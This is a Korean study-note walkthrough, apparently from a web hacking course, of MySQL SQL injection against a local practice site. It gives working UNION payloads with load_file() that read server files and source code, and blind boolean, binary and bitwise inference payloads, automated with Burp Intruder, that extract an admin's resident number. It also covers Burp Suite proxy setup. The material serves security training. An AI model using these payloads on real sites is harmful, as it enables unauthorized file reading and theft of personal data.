MySQL의 load_file 함수를 활용한 공격으로, 특정 경로 내 파일을 무단으로 열람할 수 있도록 한다.

로컬 파일 무단 열람

→ 열람하려는 대상 찾아야 하는데(리눅스의 etc/passwd 등), 윈도우의 경우에 임의의 경로에 파일을 생성하여 열람 시도를 한다.

C드라이브에 information 폴더 생성, secret_info.txt 라는 텍스트 파일 생성 후 아무 문자열을 입력한다.

→ 파일 위치: C:\information\secret_info.txt

mysql.user 테이블 컬럼 목록

컬럼명	설명
select_priv	select 문을 수행할 수 있는 권한
insert_priv	insert 문을 수행할 수 있는 권한
update_priv	update 문을 수행할 수 있는 권한
delete_priv	delete 문을 수행할 수 있는 권한
create_priv	create 문을 수행하거나 테이블을 생성할 수 있는 권한
drop_priv	drop 문을 수행하거나 데이터베이스를 삭제할 수 있는 권한
reload_priv	mysqladmin reload 명령을 이용하여 접근정보를 다시 읽을 수 있는 권한
shutdown_priv	mysqladmin shutdown 명령을 이용하여 서버를 종료시킬 수 있는 권한
process_priv	서버 프로세스를 관리할 수 있는 권한
file_priv	select into outfile과 load data infile과 같은 명령을 이용하여 파일에 읽고 쓸 수 있는 권한
grant_priv	자신의 권한을 남에게 부여할 수 있는 권한
index_priv	인덱스를 만들거나 삭제할 수 있는 권한
alter_priv	alter table 문을 수행할 수 있는 권한
references_priv	사용하지 않음

로컬 파일 무단 열람 공격 순서

1) 권한 확인

파일 열람을 시도하는 SQL Injection을 시도하기 전에, 먼저 파일 열람 권한이 있는지 확인해본다.

select file_priv from mysql.user where user='root';

file_priv 는 MySQL에서 파일 엑세스 권한에 대한 컬럼이며, user는 root로 지정하여 확인한다.

기본적으로 Y로 설정되어 있으며, N으로 설정되어 있는 경우 파일 엑세스 권한을 허용하도록 변경해야 한다.

N으로 설정되어 있는 경우 다음 SQL 쿼리로 파일 엑세스 권한을 허용하도록 변경한다.

update mysql.user set file_priv='Y' where user='root';

flush privileges;

현재 실습으로 인해 CMD 창에서 MySQL에 접속하여 파일 엑세스 권한을 확인할 수 있지만, 실제 진단 시 웹 페이지 상에서 시도해야하므로 웹 페이지 검색창에 union 구문을 활용하여 파일 엑세스 권한을 확인해본다.

' and 1=2 union select null,file_priv,null,null,null,null,null,null,null from mysql.user where user='root'# 을 입력한다.

파일 권한 확인

Y가 출력되는 것을 통해 파일 엑세스 권한이 있는 것을 알 수 있다.

2) 파일 열람 시도

웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.

' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력한다.

파일 열람 성공

또한 C드라이브 뿐만 아니라 D드라이브 내 파일 열람도 가능하다.

파일 위치 D:\test\test.txt

웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.

' and 1=2 union select null,load_file('D:/test/test.txt '),null,null,null,null,null,null,null# 을 입력한다.

D드라이브 파일 열람 성공

파일 뿐 아니라 웹 페이지의 소스코드도 버프스위트를 활용하여 열람이 가능하다.

웹 페이지 검색창에 아무 문자열 입력 후 버프스위트에서 Intercept On 클릭 후에 웹 페이지의 Search 버튼을 클릭한다.

이후 ctrl + R 을 입력하여 리피터로 보낸다.

keyword 부분에 ' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력하는데, 이때 프록시에서 서버로 전송하기 때문에 URL 인코딩을 적용해줘야 한다.

ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.

URL 인코딩 전

URL 인코딩 후

secret_info.txt 파일 내 문자열 확인

insecure_website의 index.php 소스코드를 열람해본다.

keyword 부분에 다음 SQL Injection 쿼리를 입력한다.

' and 1=2 union select null,load_file('C:/APM_Setup/htdocs/insecure_website/index.php'),null,null,null,null,null,null,null# 을 입력 후 ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.

URL 인코딩 전

URL 인코딩 후

Send 후 Response 값을 보면 index.php 소스코드가 확인된다

이처럼 파일이나 소스코드 열람 같은 경우에는 WAS와 DBMS가 물리적으로 동일한 서버 내에 존재해야 가능한 공격이다.

게시글 내 상세 페이지 확인의 URL 부분에서도 SQL Injection 공격이 가능하다.

test 게시글 클릭 후 상단 URL의 idx 부분에 order by 10%23 을 입력하면 에러가 발생하게된다.

%23은 #을 URL 인코딩 한 것이다.

idx 부분에 order by 9%23 을 입력하면 그대로 test 게시글이 확인되는 것을 통해 SQL Injection 취약점이 존재하는 것을 알 수 있다.

idx 부분에 and 1=2 union select null,null,null,null,null,null,null,null,null%23 을 입력한다.

null 값이므로 공란이 출력된다.

idx 부분에 and 1=2 union select null,'test',null,null,null,null,null,null,null%23 을 입력한다.

Title 에 test 문자열이 출력된다.

idx 부분에 and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.

Title 에 secret_info.txt 파일 내 문자열이 출력된다.

load_file 을 활용한 무단 열람 대응 방법

1) SQL Injection 대한 방어

2) 파일 권한 제거

update mysql.user set file_priv='N' where user='root';

flush privileges;

이때 주의사항은 어플리케이션과 연동된 DB 계정의 권한을 제거해야한다. 다른 계정을 제거하면 의미가 없다.

MySQL에서 root 계정의 load_file 권한을 제거 한다.

다시 웹 페이지에서 파일 열람을 시도한다.

idx 부분에 and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.

아래 그림과 같이 아무 것도 출력되지 않는다.

BLIND-BASED 공격이란 무엇인가?

Blind-Based 공격

Blind-Based 공격은 DBMS 에러가 발생하지 않는 환경에서 SQL Injection 공격을 하기 위한 방법이다.

DBMS 에러가 발생하지 않는다는 것은 Error-Based 공격이 불가능하다는 의미이며, Union-Based 공격이 불가능한 경우에도 Blind-Based 공격을 사용한다.

공격 우선순위는 다음과 같다

1) Union-Based

2) Error-Based

3) Blind-Based

Blind-Based 공격은 속도가 느리고 답답하지만, 현재까지 가장 많이 사용하는 SQL Injection 공격 기법 중 하나이다.

Union-Based 와 Error-Based 공격이 가능한 환경이 많이 없기 때문에 Blind-Based 공격의 사용 빈도가 높다.

Union-Based 공격은 DB 내 데이터가 웹 페이지에 출력되어야 하며, Union 구문 특성 상 제일 뒤에 배치되어야 공격이 가능하다. 그러므로 SQL 쿼리 구성의 영향을 받게된다.

Error-Based 공격은 DBMS 에러가 발생해야 공격이 가능하다.

위 특징들을 종합했을 때 Blind-Based 공격은 SQL Injection 취약점이 존재하는 상황에서 대부분 활용 가능한 공격이므로 사용 빈도가 높을수 밖에 없다.

Error-Based 와 Union-Based 공격은 데이터 크기와 상관없이 한번에 데이터를 출력할 수 있다.

Error-Based 공격은 1개의 레코드에서 1개의 컬럼 데이터가 출력된다. (데이터가 몇 Byte 인지 상관없이 반환)

Union-Based 공격은 다수의 레코드가 한번에 출력된다.

Blind-Based 공격은 1개의 문자(1 Byte)를 추론하기 위해 7번의 요청을 해야 하며, 응답값 분석을 통해서 1 Byte에 있는 아스키 코드가 무엇인지 추론하는 공격이다. → 응답값을 통해 데이터를 추론

데이터 추론 기법 종류

Type 1 : 순차 탐색 → 문자열을 1개씩 비교해서 참과 거짓으로 데이터를 추론

Type 2 : 이진 탐색 → 데이터 범위에 해당 하는 숫자에서 중간값 지정 후 크기 비교 하여 데이터를 추론

Type 3 : 비트 단위 탐색 → AND 비트연산을 통해 데이터를 추론, 십진수를 이진수로 변환 후 AND 비트연산

실습2-8 BLIND-BASED 데이터 추론 기법에 대한 이해

CMD 창 열고 MySQL 로그인한다.

pentest 데이터베이스 내 members 테이블과 연결된 웹 페이지에 SQL Injection 취약점이 존재한다고 가정한다.

select id from members where id='test' and 1=1; → 참

select id from members where id='test' and 1=2; → 거짓

알아내야 할 정보는 사용자명 system_user() 로 가정한다.

Blind-Based 공격은 한번에 알아내기 어렵기 때문에 다수의 공격 시도가 필요하다.

1) 순차 탐색 → substring 사용, 속도가 느리다

substring([대상 쿼리], N, 1)='a'

select id from members where id='test' and substring(system_user(),1,1)='a';

→ 사용자명의 첫번째 글자가 a 가 맞는지 확인

select id from members where id='test' and substring(system_user(),1,1)='b';

→ 사용자명의 첫번째 글자가 b 가 맞는지 확인

이후 c,d,e,f 등 순차적으로 글자를 삽입하여 참이되는 결과값이 나올때 까지 공격을 시도한다.

r 을 삽입하니 참이되는 결과값이 나오는 것을 알 수 있다.

사용자명의 첫번째 글자가 r 임을 알 수 있다.

select substring(system_user(),1,1);

→ system_user() 첫번째 글자 출력

select id from members where id='test' and substring(system_user(),2,1)='a';

→ 사용자명의 두번째 글자가 a 가 맞는지 확인

select id from members where id='test' and substring(system_user(),2,1)='b';

→ 사용자명의 두번째 글자가 b 가 맞는지 확인

c,d 등 순차적으로 문자열 삽입 후 o 를 삽입하니 결과값이 참이되는 것을 확인할 수 있다.

사용자명의 두번째 글자가 o 임을 알 수 있다.

이런식으로 하나씩 글자를 삽입하여 참이되는 결과값을 확인하여 데이터를 추론하는 공격이다.

select id from members where id='test' and substring(system_user(),3,1)='o';

→ 사용자명의 세번째 글자가 o 가 맞는지 확인

select id from members where id='test' and substring(system_user(),4,1)='t';

→ 사용자명의 네번째 글자가 t 가 맞는지 확인

select system_user();

이를 통해 사용자명이 root 라는 것을 알 수 있다.

2) 이진 탐색 → ascii, substring 사용, 32 ~ 126 숫자와 크기 비교

ascii(substring([대상 쿼리], N, 1))>80

select id from members where id='test' and ascii(substring(system_user(),1,1))>80;

→ 사용자명 첫번째 글자의 아스키코드 값이 80보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),1,1))>100;

→ 사용자명 첫번째 글자의 아스키코드 값이 100보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),1,1))>110;

→ 사용자명 첫번째 글자의 아스키코드 값이 110보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),1,1))>120;

→ 사용자명 첫번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),1,1))>115;

→ 사용자명 첫번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),1,1))>112;

→ 사용자명 첫번째 글자의 아스키코드 값이 112보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),1,1))>114;

→ 사용자명 첫번째 글자의 아스키코드 값이 114보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),1,1))>113;

→ 사용자명 첫번째 글자의 아스키코드 값이 113보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),1,1))=114;

→ 사용자명 첫번째 글자의 아스키코드 값이 114 인지 확인, 참

사용자명 첫번째 글자가 아스키코드 114이므로 문자열로 변환해야한다.

CHAR은 숫자를 받아 아스키코드에 맞게 문자를 리턴해주는 함수이다.

select char(114); 입력하여 문자열 확인

사용자명의 첫번째 문자열이 r 인 것을 확인할 수 있다.

이전과 마찬가지로 32 ~ 126 숫자와 크기를 비교하여 문자열을 탐색한다.

select id from members where id='test' and ascii(substring(system_user(),2,1))>80;

→ 사용자명 두번째 글자의 아스키코드 값이 80보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),2,1))>100;

→ 사용자명 두번째 글자의 아스키코드 값이 100보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),2,1))>110;

→ 사용자명 두번째 글자의 아스키코드 값이 110보다 큰지 확인, 참

select id from members where id='test' and ascii(substring(system_user(),2,1))>120;

→ 사용자명 두번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),2,1))>115;

→ 사용자명 두번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),2,1))>112;

→ 사용자명 두번째 글자의 아스키코드 값이 112보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),2,1))>111;

→ 사용자명 두번째 글자의 아스키코드 값이 111보다 큰지 확인, 거짓

select id from members where id='test' and ascii(substring(system_user(),2,1))=111;

→ 사용자명 두번째 글자의 아스키코드 값이 111 인지 확인, 참

사용자명 두번째 글자가 아스키코드 111이므로 select char(111); 입력하여 문자열을 확인한다.

사용자명의 두번째 문자열이 o 인 것을 확인할 수 있다.

사용자명의 세번째와 네번째 글자의 아스키코드 숫자와 크기를 비교하여 문자열 추론이 가능하며, 아래와 같이 o와 t 임을 알 수 있다. → root

이렇게 찾고자 하는 데이터의 아스키코드 숫자 크기를 비교하여 문자를 추론하는 공격으로, 순차탐색보다는 좀 더 빠르게 데이터를 찾을 수 있다.

3) 비트 탐색 → 이진수 AND 비트연산

ascii(substring([대상 쿼리], N, 1))&1

찾고자 하는 데이터를 아스키코드로 변환 후 AND 비트연산한다.

예를 들어 문자 r의 아스키코드는 114 이며, 이를 이진수로 변환하였을 때 0111 0010 이 된다.

각 이진수 자리와 AND 연산하여 참과 거짓을 통해 데이터를 추론하는 방법이다.

아스키코드는 127까지 있으므로 64까지만 확인하면 된다.

0111 0010 & 0000 0001 =1 → 거짓

0111 0010 & 0000 0010 =2 → 참

0111 0010 & 0000 0100 =4 → 거짓

0111 0010 & 0000 1000 =8 → 거짓

0111 0010 & 0001 0000 =16 → 참

0111 0010 & 0010 0000 =32 → 참

0111 0010 & 0100 0000 =64 → 참

위 AND 비트연산에서 참이되는 값을 더하여 문자열로 변환하면 된다.

2+16+32+64 = 114 → r (아스키코드 114)

select database() → 현재 선택된 데이터베이스 조회

select id from members where id='test' and ascii(substring(database(),1,1))&1=1;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 1을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),1,1))&2=2;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 2를 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),1,1))&4=4;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 4를 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),1,1))&8=8;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 8을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),1,1))&16=16;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 16을 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),1,1))&32=32;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 32를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),1,1))&64=64;

→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 64를 AND 연산, 참

참인 결과만 더해서 문자열을 추론한다.

16+32+64 = 112

select char(112); 을 입력하면 문자열 p가 출력된다.

select id from members where id='test' and ascii(substring(database(),2,1))&1=1;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 1을 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),2,1))&2=2;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 2를 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),2,1))&4=4;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 4를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),2,1))&8=8;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 8을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),2,1))&16=16;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 16을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),2,1))&32=32;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 32를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),2,1))&64=64;

→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 64를 AND 연산, 참

참인 결과만 더해서 문자열을 추론한다.

1+4+32+64 = 101

select char(101); 을 입력하면 문자열 e 가 출력된다.

select id from members where id='test' and ascii(substring(database(),3,1))&1=1;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 1을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),3,1))&2=2;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 2를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),3,1))&4=4;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 4를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),3,1))&8=8;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 8을 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),3,1))&16=16;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 16을 AND 연산, 거짓

select id from members where id='test' and ascii(substring(database(),3,1))&32=32;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 32를 AND 연산, 참

select id from members where id='test' and ascii(substring(database(),3,1))&64=64;

→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 64를 AND 연산, 참

참인 결과만 더해서 문자열을 추론한다.

2+4+8+32+64 = 110

select char(110); 을 입력하면 문자열 n 이 출력된다.

이를 통해 현재 데이터베이스명이 pen으로 시작하는 것을 알 수 있다.

select database(); 를 입력하면 현재 데이터베이스가 pentest 인것을 확인할 수 있다.

실습2-9 BLIND-BASED 공격을 통한 중요 정보 탈취 실습

insecure_website 페이지에서 게시물 클릭 후 URL에 SQL Injection 취약점이 존재하는지 확인한다.

idx=11-1 입력 시 게시글이 확인되며, idx=11-2 입력 시 게시글이 확인되지 않는다.

idx=10 and 1=1 입력 시 게시글이 확인되며, idx=10 and 1=2 입력 시 게시글이 확인되지 않는다.

이를 통해 SQL Injection 취약점이 존재한다고 볼 수 있다.

버프스위트를 켜고 Intercept On을 한 후에 idx=10 and 1=1 요청을 리피터로 보낸다.

프록시에서 서버로 요청 시 URL 인코딩을 적용해야 하므로 idx=10%20and%201%3D1 로 요청을 보낸다.

또는 idx=10 and 1=1 입력 후 ctrl + u 를 입력하여 URL 인코딩을 적용한다.

%20 → 공백

%3D → =

요청의 결과가 참인 경우에는 게시글의 날짜가 확인이되는데, 이것을 기준 문자열로 정한다.

만약 요청이 거짓인 경우 게시글 날짜가 확인되지 않을 것이다.

idx=10%20and%201%3D2 를 입력하여 결과가 거짓인 요청을 보낸다.

위와 같이 존재하지 않은 게시글이 출력되며 게시글 작성 날짜는 확인되지 않는다.

위와 같은 기준을 가지고 Blind-Based 공격을 시도한다.

idx=10 and substring(system_user(),1,1)='r' 입력 후 ctrl + u 입력하여 URL 인코딩 적용 후 서버로 요청한다.

게시글 날짜인 2024-12-05 문자열이 확인된다. → 참

이를 통해 system_user 의 첫번째 문자열이 r 인 것을 알 수 있다.

이런식으로 참과 거짓 응답을 통해서 system_user 를 확인할 수 있다.

현재는 사용자명이 root 라는 것을 알고 있지만, 실제 공격 시 정확한 문자열 길이를 확인해야 한다.

길이값을 알기 위해 length 함수를 사용하여 확인해본다.

idx=10 and length(system_user())>10 입력하여 사용자명이 10자를 초과하는지 확인해본다.

10자를 초과하는 것으로 확인된다. 14를 삽입하여 14개가 맞는지 확인한다.

idx=10 and length(system_user())=14 입력한 후 요청을 보낸다.

idx=10 and substring(system_user(),1,14)='root@localhost' 입력 후 요청을 보내면 게시글 날짜가 확인된다.

결과가 참이므로 사용자명은 root@localhost 인 것이 확인된다.

system_user() 와 같은 기본 정보가 아닌 중요 정보를 탐색해본다.

중요 정보 탐색을 위해서는 메타데이터를 먼저 알아야하는데, 메타데이터 조회는 많은 시간이 필요하므로 특정 테이블 및 컬럼 정보를 획득한 상태로 가정한다. → customer_info 테이블의 컬럼 정보

admin 계정의 주민번호를 탐색하는 실습을 진행한다.

MySQL에서 customer_info 테이블 정보를 확인하면 다음과 같이 확인된다.

select * from customer_info;

admin 계정의 jumin 컬럼의 데이터를 출력하기 위해서는 먼저 데이터의 길이를 확인해야 한다.

length 함수를 사용하는데, length 함수는 1개의 데이터의 길이를 출력해주는 함수로 다수의 값이 들어가면 에러가 발생하게 된다. 그러므로 SQL 쿼리를 특정 데이터만 출력할 수 있게 지정해줘야한다.

순차적 레코드 출력을 사용하는데, limit 를 사용하여 출력한다.

limit [index],[size] → index는 위치, size는 출력할 데이터 개수

select id from customer_info limit 0,1;

→ customer_info 테이블의 id 컬럼에서 0번 위치에서 1개 데이터 출력

limit 과 length 를 활용하여 admin의 주민번호의 길이를 출력한다.

select length((select jumin from customer_info limit 0,1));

14가 출력된다.

admin 계정을 지정해서 데이터를 출력해본다.

select length((select jumin from customer_info where id='admin'));

limit 0,1 과 동일하게 14가 출력된다. 이를 통해 admin 계정의 주민번호는 14자리 라는 것이 확인된다.

버프스위트에서 해당 요청을 리피터로 전송하여 서버에 요청한다.

idx=10 and length((select jumin from customer_info where id='admin'))=14 입력 후 ctrl + u 를 입력하여 URL 인코딩 후 전송한다.

admin 계정의 주민번호가 14자리이므로 참이 나오게 된다. (게시글 날짜 출력됨)

순차적 레코드로 주민번호를 1개씩 추론한다.

idx=10 and substring((select jumin from customer_info where id='admin'),1,1)=8 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 첫번째 숫자 8

idx=10 and substring((select jumin from customer_info where id='admin'),2,1)=1 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 두번째 숫자 1

응답값이 거짓이 나오면 숫자를 차례로 대입하여 참인 결과값이 나올 때 까지 시도한다.

이번에는 이진 탐색을 활용하여 주민번호를 추론해본다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>50 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>40 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 세번째 숫자는 아스키코드 40 초과 50 이하라는 의미이다.

40과 50의 중간값 45를 대입한다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>45 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>47 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>48 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다. → 47초과 48이하인 숫자, 48이 정답이다.

48을 대입한다.

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))=48 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 아스키코드 48 = 십진수 0

MySQL에서 아스키코드 48을 십진수로 변환하면 0이 나온다.

select char(48);

이를 통해 admin의 세번째 주민번호가 0임을 알 수 있다.

이진탐색은 탐색할 문자와 아스키코드의 크기를 계속 비교하여 추론하면 된다.

현재까지 확인된 주민번호: 810XXX-XXXXXXX

지속적으로 이진탐색을 활용하여 다음 주민번호까지 확인되었다.

810203-XXXXXXX

비트연산을 활용하여 주민번호를 탐색해본다.

아스키코드는 기존과 같이 그대로 활용하며, &를 사용하여 1,2,4,8,16,32 등 이진수의 각 자리수 숫자와 AND 비트연산을 한다. → 주민번호는 숫자로 아스키코드 57까지만 확인하면 되므로 64는 AND 비트연산할 필요가 없다

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&1=1 → 참

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&2=2→ 거짓

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&4=4 → 거짓

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&8=8 → 거짓

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&16=16 → 참

idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&32=32 → 참

참이 나온 결과값들을 더해서 십진수로 변환해준다.

1+16+32 = 49 → 십진수 1

select char(49); → MySQL 에서 아스키코드를 십진수로 변환

이런식으로 주민번호와 각 이진수 자리 숫자를 AND 비트연산하여 참과 거짓 응답을 확인하여 아스키코드 숫자를 더해서 십진수로 변환한다.

나머지 주민번호를 AND 비트연산으로 추론한 결과 admin의 주민번호는 다음과 같다

810203-1023113

MySQL 에서 customer_info 테이블의 admin의 주민번호를 확인해본다.

select * from customer_info;

select jumin from customer_info where id='admin';

Blind-Based 공격으로 추론한 admin의 주민번호와 customer_info 테이블의 admin 주민번호가 일치하는 것을 알 수 있다.

버프스위트 리피터에서 아래와 같이 서버로 요청을 전송하면 참인 결과가 확인된다.

idx=10 and substring((select jumin from customer_info where id='admin'),1,14)='810203-1023113'

Blind-Based 공격은 시간이 오래 걸리기 때문에 대부분 자동화 도구를 사용한다.

버프스위트의 Intruder 기능을 사용해본다.

리피터에서 idx=10 and ascii(substring((select jumin from customer_info where id='admin'),1,1))&1=1

ctrl + i 를 입력하여 Intruder 로 보낸다.

1=1 부분을 드래그 후 상단의 Add $ 클릭 후 우측의 Simple list 로 지정 후 하단에 1=1, 2=2, 4=4, 8=8, 16=16, 32=32 를 입력해준다. (순차적으로 비교할 숫자를 자동화 하도록 설정)

상단의 Start Attack을 클릭 후 공격을 시작한다. 알람창은 무시한다.

각 값마다 Length 값이 다르다.

참일 때는 3479 Bytes 가 출력된다.

거짓일때는 2607 Bytes 가 출력된다.

이를 통해 1,2,4 가 거짓이며 8,16,32 가 참인것을 알 수 있다.

결과가 참인 경우 3479 bytes

결과가 거짓인 경우 2607 bytes

Intruder 로 자동화 하는 경우도 있고, 파이썬을 활용하여 자동화하는 경우도 있다.

Blinde-Based 공격은 시간이 오래 걸리므로 실제 구문을 활용하여 몇 번 테스트 후 자동화 도구를 사용하여 빠른 값을 도출해내는 것이 좋다.

SQL Injection 3줄 요약
- 어플리케이션과 DB와 연결된 기능에 사용자 입력값(SQL 구문)을 삽입하는 공격
- Error-Based, Blind-Based, Union-Based 공격
- 어플리케이션에서 DB로 전달되는 SQL 구문을 생각하여 SQL 공격 구문 작성

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

버프 스위트(Burp Suite) 설치 및 사용법

Security Engineer — Tue, 26 Nov 2024 22:30:59 +0900

버프 스위트(Burp Suite) 설치 및 프록시 설정

구글에 burp suite download 검색 후 공식 홈페이지 접속하여 설치

Pro 버전은 스캐너가 추가된 것이며, 무료 버전인 Community 버전을 사용한다.

https://portswigger.net/burp/communitydownload

위 홈페이지 접속 후 Go straight to downloads를 클릭하여 바로 다운로드 페이지로 이동한다.

버프 스위트 다운로드

Community Edition 선택 후 Download 버튼 클릭하여 다운로드 받는다.

버프스위트 커뮤니티 에디션

다운로드 후 next 를 클릭하여 설치 완료한다.

웹 브라우저에서 프록시로 향하는 통신을 설정해줘야 한다.

프록시 설정 방법

1) 인터넷 옵션

2) 웹 브라우저 확장 프로그램 설치

통신 방향은 다음과 같다.

클라이언트(브라우저) ----요청(Request)-----> 웹 프록시 서버 --------------------------> 웹 서버

<----응답(Response)---- <------응답(Response)

FoxyProxy라는 확장 프로그램 사용 및 기타 버프스위트 설정 오류로 인해 인터셉트가 되지 않는 오류가 발생하였다.

내가 경험한 오류는 다음과 같다.

1) 버프 스위트의 Proxy 설정 내 And URL Is in target scope 설정 후 인터셉트 안됨

→ target scope에 설정된 URL 접속 시에만 인터셉트 가능한 옵션으로 판단됨

→ 127.0.0.1 을 And Domain name Matches로 설정 시 127.0.0.1에 대한 통신만 Intercept 하게 된다.

2) 다른 포트 8080,8887 적용 시 웹 사이트 접근이 아예 불가함

→ 다른 포트를 기존에 사용 중인것 같음 - 8888포트로 대체

3) 인터넷 옵션으로 8888 포트 설정 시 인터셉트가 가능하지만 FoxyProxy로 8888포트 설정 시 불가능

→ FoxyProxy 자체가 프록시 서버 역할이 불가하다고 판단됨

버프스위트 - Proxy - Proxy settings - 127.0.0.1:8888로 설정한다.

Request interception rules 메뉴에서 intercept requests based on the following rules 선택

Response interception rules 메뉴에서 intercept responses based on the following rules 선택

해당 옵션을 선택해야 Request, Response 모두 Intercept 가능하다.

버프스위트 프록시 설정

127.0.0.1:8888로 설정

Response Intercept 설정

FoxyProxy가 아닌 인터넷 옵션을 사용하여 프록시 설정을 한다.

1. 실행 창(ctrl + R)에서 inetcpl.cpl 을 입력한다.

2. 인터넷 속성 - 연결 - LAN 설정(L)

3. LAN 설정 - 사용자 LAN에 프록시 서버 사용 체크 - 고급(C)

4. 프록시 주소 및 포트번호 입력

5. 확인 클릭 후 적용 완료(확인을 클릭하지 않아 프록시 설정이 안되서 Intercept 안되는 경우 있음)

실행 창

LAN 설정

LAN 설정 - 고급

프록시 주소 설정

Intercept On 후(단축키 Ctrl + T) 네이버에 접속 시도를 한다.

아래 그림과 같이 안전하지 않은 연결로 연결되는데, 이는 SSL 인증서가 설치되지 않아 생기는 오류이다.

안전하지 않은 연결

127.0.0.1:8888 또는 http://burp/ 로 접속 후 우측 상단에 CA Certificate를 클릭하여 인증서를 다운로드 받는다.

인증서 설치 - 현재 사용자 - 모든 인증서를 다음 저장소에 저장 - 찾아보기 - 신뢰할 수 있는 루트 인증 기관

위와 같이 설정 후 다음을 눌러 설치를 완료한다.

인증서 설치 완료 후 네이버에 다시 접속하면 정상적으로 접속되는 것을 확인할 수 있다.

만약 설치 후에도 네이버에 접속이 안된다면, 브라우저와 버프 스위트를 껏다가 다시 켠 후 실행한다.

127.0.0.1:8888 접속

인증서 설치

현재 사용자

신뢰할 수 있는 루트 인증 기관 선택

네이버 접속

만약 위와 같이 설정을 해도 접속이 안되거나 프록시 기능 사용이 어렵다면, 우측 상단 또는 중간에 Open browser 를 클릭하여 버프스위트에서 제공하는 크롬 브라우저를 사용한다. (별도의 프록시 설정이 필요없는 브라우저)

해당 브라우저를 사용하면 프록시 설정을 따로 하지 않아도 별도의 프록시 설정 없이 패킷을 잡을 수 있다.

버프 스위트(Burp Suite) 기능 설명

단축키(Settings - User Interface - Hotkeys)

